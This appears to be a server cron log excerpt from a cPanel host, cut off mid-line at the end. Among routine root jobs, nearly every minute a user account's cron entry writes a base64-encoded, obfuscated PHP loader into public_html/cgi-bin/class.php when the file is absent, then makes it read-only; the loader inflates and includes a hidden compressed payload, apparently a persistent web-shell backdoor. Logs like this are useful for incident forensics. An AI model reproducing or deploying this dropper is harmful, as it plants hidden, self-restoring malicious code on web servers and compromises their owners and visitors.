Apr  7 22:54:01 server CROND[1366]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:55:01 server CROND[1432]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 22:55:01 server CROND[1433]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:55:01 server CROND[1434]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 22:56:01 server CROND[1548]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:57:01 server CROND[1708]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  7 22:57:01 server CROND[1709]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:58:01 server CROND[1775]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 22:59:01 server CROND[1826]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:00:01 server CROND[1881]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  7 23:00:01 server CROND[1882]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:00:01 server CROND[1883]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:00:01 server CROND[1884]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:01:01 server CROND[1992]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:01:01 server CROND[1993]: (root) CMD (run-parts /etc/cron.hourly)
Apr  7 23:01:01 server run-parts(/etc/cron.hourly)[1993]: starting 0anacron
Apr  7 23:01:01 server run-parts(/etc/cron.hourly)[2005]: finished 0anacron
Apr  7 23:02:01 server CROND[2164]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:03:01 server CROND[2219]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:04:01 server CROND[2283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:05:01 server CROND[2349]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Apr  7 23:05:01 server CROND[2350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:05:01 server CROND[2351]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  7 23:05:01 server CROND[2352]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  7 23:05:01 server CROND[2353]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  7 23:06:01 server CROND[2469]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  7 23:07:01 server CROND[2520]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg